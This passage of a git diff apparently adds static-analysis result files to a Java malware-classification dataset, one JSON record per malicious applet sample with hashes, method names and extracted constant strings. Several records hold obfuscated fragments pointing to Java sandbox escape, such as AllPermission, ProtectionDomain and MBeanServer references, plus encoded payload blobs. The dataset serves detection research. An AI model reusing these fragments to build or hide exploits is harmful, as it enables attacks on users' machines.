d-oc-Rr-Kr-ES-HR-YR-J2-Ee-2d-nc-YP-n1-vr-O6-Ou-3P-gb-IV-Mc-R1-y2-N6-OU-1q-uP-rf-OC-UR-hT-ys-R7-CR-BU-a4-we-2u-3C-fp-0f-QV-Pd-pQ-vT-pf-X0-06-Pp-0f-VR-ru-fp-1e-bT-uB-Fp-6v-XP-9p-1T-pV-Xp-Tp-d6-P0-7f-QD-wS-Qt-q4-vp-2T-pe-ap-lF-Pp-0T-qV-PT-sv-Qf-XQ-Zd-pS-VF-PV-Pp-0d-vV-Pp-1s-eV-Tb-E4-qq-rT-sS-S3-Tt-sG-pu-PA-", "-", "", "41,25,25,25,25", ",", "file://abc/", "B", "u", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "146d06c2311302aafd44dc6e9e9e274066cd2b16", "file_name": "java_malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908", "_id": "d6bc0710-828f-487c-a813-21bc598f05fe", "score": 0, "entropy": 6.079332821472574, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3414, "ssdeep": "96:7FloYWQT/Ds+X7W/eyNPe1rSxrbybDk3VKqFJ5:hl2cs+X7W/3NeJUFTx", "sha256": "218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908", "md5": "c410c9ee423ca9535508c7814847a1aa", "parent_sha256": "218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908"}} \ No newline at end of file diff --git a/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results b/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results new file mode 100755 index 0000000..959b6f6 --- /dev/null +++ b/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "ereose", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "bus", "kor", "hop", "fan", "nos", "dey", "tin", "ate", "yow"], "minor_version": 0, "const_pool_count": 237}}, "_id": "3ecfdd9f-fd94-423b-bc76-3e40025e94d1", "verbose": {"java": {"constant strings": ["oxy", "@", "stnb3t2tStnb3t2curityManagtnb3t2r", "tnb3t2", "e", "crtnb3t2attnb3t2Writabltnb3t2Rasttnb3t2r", "Raster", "javatnb3t2awttnb3t2imagetnb3t2", ".", "", "java.security.", "fib3vt2t1le:/b3vt2t1//", "b3vt2t1", "Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b80bd851744d459d4f6cd7cf5e60799426de9dc3", "file_name": "java_malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0", "_id": "3ecfdd9f-fd94-423b-bc76-3e40025e94d1", "score": 0, "entropy": 5.717582003536796, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4207, "ssdeep": "48:qEukgwscyK6TheVwFIegJFOPMMACw6t3NH2UEx26MCtrTGI85r8MH7au:GKUIe2O0tcNI1MCtZ85rf7au", "sha256": "219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0", "md5": "d9c401c9838d9db1fe9320e21b5d38dc", "parent_sha256": "219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results b/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results new file mode 100755 index 0000000..44472ba --- /dev/null +++ b/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/rrraa", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["wptgetdnsqwbptvlf", "bufejsjtm", "", "qstkntbv"], "minor_version": 0, "const_pool_count": 228}}, "_id": "4872740a-1233-4185-bad9-1e7223fc40c0", "verbose": {"java": {"constant strings": ["/\\x19eR6I`Qa\\x1d9I1Y\\'X>\\x1d0_b", "@\\x02\\xc0\\x80\\x05A\\x05", "[\\'_eX`[0\\x1a\\'QcIc[1B/\\x1a,\\x1f`\\x19`\\\\7X6Q0Q`", "C\\n\\x15\\x12\\x05\\r\\x02\\x04AT\\x05QDU\\x16\\x12\\x18WL\\x07@S\\x17\\x07\\x03\\n\\x05P\\xc0\\x80V", "\\x18fXaM8\\x1b$B7Im\\x18;Y$\\x10%\\x1d3\\\\6", "\\x04\\x05\\x11\\x16S\\x06\\x0e\\x1a\\x06\\x04\\x02", "F0I$[`\\x1c\\'Z1\\\\2D%\\x1cdIe", "LR\\x16X", "m\\x1c1]#\\x1c,J?M8E$O!", "G\\r\\x10Q\\x1f\\x04\\x03\\x15\\x1ePLS\\x02S\\x12T\\x0eR", "^>\\x10/\\x1a9\\x10!\\x1d?Q1R7I \\x1a0_c\\x19&M2\\x1f\\'", "\\x03\\x10\\x17\\x13\\r\\x06\\x19\\x15G\\x17", "7C4\\x1d$", "\\x10\\x02\\x1a\\x19\\x11\\r", "4@eMcI\"^9", "\\x0e\\x1aVD\\x03\\x16\\x0e\\x02U\\x07\\x04\\x0e\\x13\\x03\\x06\\x01\\n\\r\\x0c\\x06\\x03\\x17\\x12\\x07\\x13\\x1a\\x12\\x01\\x0c", "@/_>", "\\x06D\\x04\\r\\x1a\\x0e\\x19\\x03XF\\x0e\\x06\\x10\\x18X", "$\\x1e\"L9", "\\x0e\\x06\\x15C\\x17EP\\x03\\x08C\\rG\\x1aAV\\x03U", "?]gI9OcC \\x1d;\\\\&KgJ\"", "U\\x04X\\x06\\x16\\x1a\\x0c\\x1a\\x0e\\x07\\x07\\x1c\\x02\\rW\\x01\\r\\x13\\x13", "[8KaO!F9X`Xb\\x1f3K=L&\\x1c?Y>O1@b]/", "\\x17\\x13\\x18P\\x18\\x14\\x12\\x10L\\x16\\x10WL\\x16\\x17\\x14\\x12\\n\\x1f\\x06\\x10\\x0cE\\x16", "\\x1c9ReL3\\x10#^&CeQfFfL%\\x19,", "\\x08\\x15\\x07\\xc0\\x80\\r\\x17\\x01\\r\\x11\\x17\\x0c@\\x13\\xc0\\x80W\\x01\\x17B\\n\\x07\\x04\\x13\\x0cA\\x17\\x05\\x14AS", "0Z3\\x182[ ^8R/\\x1a ]\\'\\x10;_7", "\\x01\\x17\\x10", "#\\x19d^2C7D=\\x1b3K9_\\'Yb@!", "D\\x11\\x19R\\x1e\\r", "8]#\\x1c#]>\\x1adId[\\'Z$F3X$[b", "\\x0eTC\\x05\\x16T\\xc0\\x80UL\\x0b\\x07\\r\\x0e\\nAWB\\x11\\x1a\\x0e\\x16\\x01L\\x15\\x13WF\\x17", "]&J;", "\\xc0\\x80\\x03\\x13\\x0bAX\\x13Q\\x12\\x14\\x0e\\x08D\\x0c@\\x03\\x1aQA\\r\\x17\\x07", "\"Ka\\\\d", "EYETAU", "aO#\\\\a_>", "FW\\x12\\x05E\\x02ET\\x12\\x06GV@P\\x10\\x0e", ",\\x1f\"Yc\\\\%Mc@eB&I4Q9[2", "\\n\\x03\\x17\\x01\\x15\\x18\\x03EX\\x03\\x0b\\xc0\\x80P\\rRL\\x16\\r\\x14A\\x14\\x18\\x11", "2^/E&Q`\\x1fcF$]8R,Qf]=@2BmL0\\x18\\'\\x18/", "\\x07\\x05\\x13\\x15A\\x11\\x01\\x1a\\x1a\\x1a", "M&Qd\\x19/\\x1e!]3\\x1a;\\x10mD4Q!K\\'\\x190]0C#\\x18cX4", "E\\x1a\\x19V\\x1e\\x06\\x15\\x16\\x06V\\x01U\\x02\\x16\\rX\\x03S\\x07\\r\\x17\\x14\\x1cS", "gK>", "U\\x05QAU\\x03\\x0c\\x15\\x14\\x11\\x0b\\x03R", "\\x1c8M%]&[a\\x1b$_eB/\\\\7^f\\x1b9", "Q\\x06\\x04D\\x07\\x18\\x0bB\\x13\\x1cSL\\n\\x0e\\x13\\x03\\x0bC\\x06\\x17\\x0e"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8e215d28a46938e8e0cfaabad602f8225d13365b", "file_name": "java_malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229", "_id": "4872740a-1233-4185-bad9-1e7223fc40c0", "score": 0, "entropy": 6.396932039620793, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3403, "ssdeep": "96:wOdmg7DHtpIlSq2PiCgooh41eaxo1/fg+2V8tF:bmg7RpIlRyGfhk6pInV+F", "sha256": "21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229", "md5": "1aa20e121b490513bc6f0fb1faa6cdeb", "parent_sha256": "21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229"}} \ No newline at end of file diff --git a/java_classification/data/malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4.results b/java_classification/data/malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4.results new file mode 100755 index 0000000..79e8100 --- /dev/null +++ b/java_classification/data/malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "x/p", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction", "java/io/Serializable"], "sourcefile": "x", "method_names": ["", "run", "RandomAlphaNum", "pl"], "minor_version": 0, "const_pool_count": 336}}, "_id": "50d7c9aa-ec06-480b-9204-444c947e7565", "verbose": {"java": {"constant strings": ["", "?;\\t\\x10\\x0b2B", "%\\x12\\x02\\x14p\\x1d\\xc0\\x80", "0\\x1f\\t\\x0fr\\x07I", "2\\x1a5.\\x0b\\xc0\\x80\\x13?\\x17?4\\x04d\\x16\\x0b\\x15j", "%/#\\x1c\\r", "e#\\x10\\x03\\x0f0D\\x19g!\\x1a\\x19\\x08!b", "4\\x1d\\x06\"K", "\\x03\\x12\\x04f?>\\x04>>B\"\\x01\\x15\\x0bv", "\\x1c\\x03\\x10}\\x14s=L", "O+\\x04\\x1b\\x19q", ":\\r\\x14\\x1f\\x08\\\\xpj", "4\\x08\\x059\\x15\\n6,,6u", "\\x01F\\x0e8\\x18*\\x01\\x1b\\x06\\x10\\x1b\\x0c\\x0fm", "9>3G\\x05\\x19\\x0e;\\x1ds\\x06<0^f\\x16#\\x11U", "4E\\x0b-\\x05\\x1c\\'\\x16%\\x01~_5K\\x12e@", ";\\x17a7)1\\x07\\x12!u~w", "@\\x1f9N\\x0b\\x1bfIh\\x07E\\x08X\\r\\x1aY", "4\\x15/\\x0f\\x1b\\x16\\x19N\\t!5\\x02R", "\\x06\\x19n.-\\x01Pk\\x0c\\x16l", "?9=_\\x1f\\x14>#[I6A", "%\\x1c7\\x03m<\\x017\\x07q1q\\x0f", "%\\x0bT\\x06\\x1b\\x06\\x07*7{W", "{\\x18=1\\x19c \\x130.\\x7f\\x01].\\x1dh", "=\\x1bK#N;*y\\x1b\\x11\\xc0\\x80", "\"X", "a\\x19dP", "\\x15eM", "%I", "\\x1e\"K", "\\x13]N.{\\n>\\x14?E\\t\\rp@/m", "5+C#\\x0b=\\x0bPB7C", "72\\x08&,;l", "s%@\\x0f!H:\\x18\\x0e4\\x0cVU\\x1a\\xc0\\x80w", "%\\r>N:i5\\x1c\\x126h;\\x0bh", "U?\\x12x\\x12Y:+~", "\\x05\\x08N\\xc0\\x803,\\x08X(*\\\\", "E\\x0b/(;)\\x08", "3$\\'\\x15H", "Z:\\x18\\x12\\x14j\\x08\\x11\\x05\\x1au\\x1d\\x1e\\n", "e", "n\\x07\\x08\\x02\\x0fW,6\\x7f", "mjw:.\\x16 #*LgB;\\x18\\x19(}\\x14\\nu", "+&\\x0b`:\\x0c\\x1e\\x11A\\n)\\x06FM\\x14-h", ".\\x12\\x0eXk\\x1a&\\x01;k\\xc0\\x807\\n$}\\x1b\\x16\\x0f", "\\x11v\\xc0\\x80~\\'\\x13F\\x03L\\x08\\x1eZN5_", ">\\x11\\x0e.B\\x1a\\x0b}YC<4U", "\\x1a\\xc0\\x80 9-r", "f\\\\", "0\\\\", "/\\x13\\x12D\\xc0\\x80\\x084+,\\x0c\\x14q", "Ff\\x119\\x10x1L=1\\\\", "G\"GkK{A\\x06>{+pU", "#\\x06g\\x1c\\n>\\x15}\\x1b\\x1bU", "\\x04\\x1cr4u-\\x1d[\\x11\\x1a8$k\"+i", "3\\x118\\x1a^=\\x1aa", "=\\x131F\\x7f\\x19sW(\\x0f!R", "#e.\\x0b\\x16\\x1br+sc", "\\x1a&x@\\x0f{", "1:\\\\<&\\x0f!c\\x1bJ!6Y0?P", "\\x1d[+\\x1aN", "\\x0e]*7X", "U\\t\\x1b\\x17\\tX& \\x1f9p@rN", ":\\x047^$1}?\\x1b`\\rJ\"\\\\T\\x14\\x15O", "\\x1b\\x13\\x1bS[\\x19/ \\x06<=5\\x0e\\x1bToJ2\\n", "\\x106u(\\\\-\\x1c\\x01", "\\x06>!< \\x08", "P\\x151?\\x175Ym%\\x05o\\n<\\x19\\x1b3\\x17=U", "4I2\\x0b?>dN\\x15\\x13\\x13j\\x08\\x16\\x1f!T)*[", "8\\x19s:\\x17\\x06wM\"O", "\\x13\\x107\\x0bb>\\x03+4[\\x0c0\\x1a\\'t\\x01.t", "4\\x15:\"\\n #(\\t\\x19oB:5\\r\\x1ew!\\x1ck"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4b95af1ef88a8ee448d4bf9890bc631056d42b08", "file_name": "java_malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4", "_id": "50d7c9aa-ec06-480b-9204-444c947e7565", "score": 0, "entropy": 6.219774443361225, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5420, "ssdeep": "96:qcby/JFl78OELPRmJwhXtRw6KsOFxrn3P1CLK9Tm7wnd:v8lkPRu0RwNpfqK9K7wnd", "sha256": "22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4", "md5": "e0b2084fdbc638a930bf7a15ab19fd5f", "parent_sha256": "22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0.results b/java_classification/data/malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0.results new file mode 100755 index 0000000..f4dbfd1 --- /dev/null +++ b/java_classification/data/malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Sis", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Eppa", "NGbe"], "minor_version": 0, "const_pool_count": 166}}, "_id": "6759fe45-8361-4164-ae04-93685caa13fd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.375624773628749, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["java.securi", "ty.Al", "lPermission", "add", "java.security.Permission", "java.security.Code", "Source", "java.seDcuDrity.PeDrmiDssDionCoDllecDtioDn", "D", "", "java.security.Protect", "ionDomain", "java.io.BytWeArWrayOWutputStWreWam", "close"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c865e07cfb0733116c2fae37affe09fed4b00d58", "file_name": "java_malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0", "_id": "6759fe45-8361-4164-ae04-93685caa13fd", "score": 0, "entropy": 5.6958759429132995, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2396, "ssdeep": "48:zrxqQxObyb9G2NKahFGadSgXg2nzApNVxFV0w7/IIVyywq+E:zxvriOzsV0wGq+E", "sha256": "239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0", "md5": "9b7b8b010cc71c23e6a4a0716174147a", "parent_sha256": "239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa.results b/java_classification/data/malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa.results new file mode 100755 index 0000000..0026b30 --- /dev/null +++ b/java_classification/data/malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SEhLG.java", "class_name": "QvpGop/SEhLG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "URghzdRx", "uuHnVRzi", "fGiBAjZKg", "BspOiLSG", "OLjUYHp", "UIuEw", "RcqOLDi", "YuVHunA", "dtwraodU"], "minor_version": 0, "const_pool_count": 256}}, "_id": "7e4bbafe-4f66-40da-86f5-5ff0ba3f1112", "verbose": {"java": {"constant strings": ["XQXPXSI{ORP~RPMQXE", "W\\\\K\\\\\\x13Q\\\\SZ\\x13r_WX^IW\\\\K\\\\\\x13Q\\\\SZ\\x13nIOTSZ", "YX^Q\\\\OXYpXIURYN", "^RP\\x13NHS\\x13WPE\\x13P_X\\\\SNXOKXO\\x13wPEp\\x7fX\\\\SnXOKXO", "SXJp\\x7fX\\\\SnXOKXO", "W\\\\K\\\\\\x13Q\\\\SZ\\x13nIOTSZW\\\\K\\\\E\\x13P\\\\S\\\\ZXPXSI\\x13p\\x7fX\\\\SnXOKXOW\\\\K\\\\E\\x13P\\\\S\\\\ZXPXSI\\x13p\\x7fX\\\\SnXOKXOyXQXZ\\\\IX_RRQX\\\\S", "", "ZXIp\\x7fX\\\\StSNI\\\\SIT\\\\IRO", "[TSY~Q\\\\NN", "W\\\\K\\\\\\x13Q\\\\SZ\\x13nIOTSZW\\\\K\\\\\\x13Q\\\\SZ\\x13~Q\\\\NNqR\\\\YXO", "NHS\\x13ROZ\\x13PRGTQQ\\\\\\x13W\\\\K\\\\N^OTMI\\x13TSIXOS\\\\Q\\x13~RSIXEI", "NHS\\x13ROZ\\x13PRGTQQ\\\\\\x13W\\\\K\\\\N^OTMI\\x13TSIXOS\\\\Q\\x13zXSXO\\\\IXY~Q\\\\NNqR\\\\YXO", "^RP\\x13NHS\\x13WPE\\x13P_X\\\\SNXOKXO\\x13tSIORNMX^IRO", "XSIXO", "^OX\\\\IX~Q\\\\NNqR\\\\YXO", "YX[TSX~Q\\\\NN", "_hjIR\\x13^Q\\\\NN", "HOQ", "tLZg\\x7f\\x7fd", "\\x1bU\\xc0\\x80\\x0c\\x0c", "newInstance", "W\\\\K\\\\\\x13TR\\x13\\x7fDIX|OO\\\\DrHIMHInIOX\\\\P", "JOTIX", "YUOJ\\\\[YNZ", "IR\\x7fDIX|OO\\\\D"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "18b8042614c85e9248bea616de4cfca31a672d6b", "file_name": "java_malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa", "_id": "7e4bbafe-4f66-40da-86f5-5ff0ba3f1112", "score": 0, "entropy": 5.907864473552731, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5658, "ssdeep": "96:A5j+Fl/yLfEjctvlSvLYYzsmnFCWPSVuDmgQ6b6HQw7wWeQiXU911a5:ojcl/+rHKLXzbn/ScQo6H0VR", "sha256": "239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa", "md5": "98e282eb67d6b18af0451c4492df1f6b", "parent_sha256": "239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results b/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results new file mode 100755 index 0000000..e9a2797 --- /dev/null +++ b/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ryjmbdjrpvajdhsxcl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "egbhlmtqohoptbjydh", "rpxlaqgxyywezil", "hjfbmcsqmyypyar", "jdstqqkbufctaesq", "xgkycnbggulawwfss", "init", "qcozxczjsxqgjnxmt", "uahmfynmiuurxsm", "eoddlqvdvilipxnszdj", "ajbgctrtdorxnmijiz", "hjncgvbxgspxmxldu", "jmttuugyrqgmdohdzl", "grzpmdmxnrxijetiuoz", "vgmvzpxpzldyquescol", "oopcibseylcvchuaw", "pzwkrjvsxxfralgots", ""], "minor_version": 0, "const_pool_count": 284}}, "_id": "66e50f6a-2c81-45a9-bee1-d7a85a2c97c9", "verbose": {"java": {"constant strings": ["uroozz", "tkrsk", "aawvbocz", "nyjawznrynojvsl", "ergrvk", "vmkn", "qrfnohnvp", "q", "jd", "caaxjjrumxgx", "txrl", "rcytgqqqw", "psrmcjbvzqxzj", "xqccfxoekhlwh", "zgspepbv", "ebdpj", "iturgmp", "fnkfuehywc", "gdjzfmomqsqtxpi", "yxiyvxkpsmdlxe", "kzkyoyoxt", "hxbzw", "feunib", "bvnlpympc", "yjpsiyaohloqoi", "gfmowvlaotnrol", "n", "wfitsdze", "kwpulwmuo", "qxwtq", "wcjyvqqjhse", "ckeui", "zsxb", "kbockfhaent", "ffdpyxrx", "wvbbugbrirnc", "whfghjwy", "admjb", "ri", "ywxcr", "twtlmltpldoio", "aoijyyczxqd", "qqaul", "yzlaeiba", "qmifzl", "xgxpb", "bosfeijc", "imfibjam", "asl", "bkwuougisviua", "nrbemokrets", "hmigkzk", "hiktcmaxftmsbw", "isktnoqctsklysl", "i", "hhoeoxoatiae", "efbywirkxuqfx", "wmho", "bxdezt", "zqhrymyrgfdlj", "egvzqcufgtjv", "afdmeovbe", "vkbavaak"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f543f4e5e61816c06807855506140f9750c682a", "file_name": "java_malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35", "_id": "66e50f6a-2c81-45a9-bee1-d7a85a2c97c9", "score": 0, "entropy": 5.722890825903603, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5714, "ssdeep": "96:N/Be0iIz4YCO+oB1zftIjCBypjlq/uV5bIwtSplDL7fn6WeQ6rk:N/00ikY3onypjlQuV5b9SplDL7fn6Wec", "sha256": "23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35", "md5": "38574898873073cf5b2dc44f28a9fc95", "parent_sha256": "23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35"}} \ No newline at end of file diff --git a/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results b/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results new file mode 100755 index 0000000..92409d5 --- /dev/null +++ b/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "f4375705-03ec-48b4-b16c-196838d5ab95", "verbose": {"java": {"JAVA String Analysis": {"files": [], "combined strings entropy": 4.7932182114836, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "IIIIIIIIIIIIIIII"}}}, "constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pN,pz,0L,Pn,pj,0N,p9,yi,kU,Pu,P7,pS,o3,Ty,1t,pG,pg,pC,0N,kc,pV,ll,KP,pu,Ln,Mn,kC,Xe,pm,Pq,mV,lT,st,4f,cN,vZ,K8,sL,K3,XS,8n,ky,gQ,zv,dQ,IK,XL,OU,Pu,Ps,0M,2K,I5,8b,OB,Ng,pW,pc,X4,5R,Rr,LR,MQ,DY,of,vL,KY,x8,hr,Yg,pW,pe,Pl,KN,7Q,Wm,P7,OS,0c,E9,j1,WB,wa,WM,Pg,Ou,Pd,5J,Zl,Kj,OC,o7,C8,Im,Q8,lu,TS,1E,P7,pL,KY,L2,qQ,BF,30,hW,t3,1E,Pe,Pi,o3,ff,lq,Jr,y2,qb,rN,kU,RS,cC,sm,PU,kw,pb,Uz,ZM,Q3,Ky,lT,nQ,uR,Xq,uP,uT,Co,sx,ku,XL,If,c9,Wr,cT,Dt,nS,UC,Hc,UY,VP,CV,hW,p1,Kl,Jk,qU,Tp,0m,Xb,eS,0F,Sk,p0,Pp,PP,S6,7r,pK,Oc,fT,Pk,38,xG,p1,eW,vB,Jv,ar,sy,o3,ft,Dr,zP,YO,sK,ru,TB,aO,pG,JC,0Q,eN,TK,Ov,6g,xB,qp,Vl,Kd,5u,lN,k1,dP,5T,86,cI,eq,FN,kp,vq,0t,CX,uu,ch,I1,Y2,aN,Ms,3y,U7,Ci,KD,Om,nV,pW,HZ,RB,Tw,xO,1Z,kD,Mu,SY,Js,px,kH,qE,k7,o0,uK,Wq,Nn,kQ,Nw,T5,SI,Mr,Fl,Kd,Lp,KN,ks,nE,L7,sI,Ml,Kc,4L,Kg,sK,uL,kq,NR,y9,Si,x7,pI,oK,Oy,ol,NP,ND,NH,lJ,8y,nL,Jd,Ns,NZ,xi,rT,3t,si,ZN,jc,kt,vw,jT,ot,0s,q0,ic,QP,dR,kB,xv,1b,Y7,pR,Hs,D0,tp,pU,jv,Of,Op,kc,Y2,Nr,Os,JE,1T,nQ,yP,np,fb,OT,oR,P1,qu,7p,e4,os,RE,5Q,cp,td,nT,0a,xP,pV,O0,nt,pV,PU,1V,Qp,0F,Ve,b6,PP,1e,cd,pp,4S,BT,pd,tf,PV,YS,zD,qt,qT,pP,0P,0v,V4,pV,QS,bd,ud,re,1F,Qg,FD,pP,5w,I1,GG,F7,Ed,qD,rP,bC,UP,cT,ps,ht,y4,yS,SV,PQ,v3,Rc,SV,P0,YR,Dg,Ep,eD,pa,sc,RV,YC,Uq,JT,pV,Qd,p4,pu,6d,pt,x0,0e,P7,pA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a7b09052cbf93955607341570c3b58f18dcc4097", "file_name": "java_malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5", "_id": "f4375705-03ec-48b4-b16c-196838d5ab95", "score": 0, "entropy": 6.131292871884789, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "96:6FloaUA9j4vL8K0leGaQ+EiTNNkez/j83Ifh:Qlxj4o/leB37nr83Ip", "sha256": "24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5", "md5": "af5e213c4f7f5ff765b4540e17d55ac5", "parent_sha256": "24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results b/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results new file mode 100755 index 0000000..95eeef5 --- /dev/null +++ b/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/hvlcctynvk", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "jqqqycxlckmb", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "8294c31e-5758-4975-9447-75c47ba22c0c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "69475b2350a5e437600fadde39351eb7f84cd69e", "file_name": "java_malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7", "_id": "8294c31e-5758-4975-9447-75c47ba22c0c", "score": 0, "entropy": 5.20546056022253, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6962, "ssdeep": "192:Ttzq+zqyqAXzipSDxhi/To55UTYwa5hGX1:JzqEqyrWSDyTofUTkc1", "sha256": "24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7", "md5": "d6896af9cd44f7d43d9df1f1126ca87d", "parent_sha256": "24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results b/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results new file 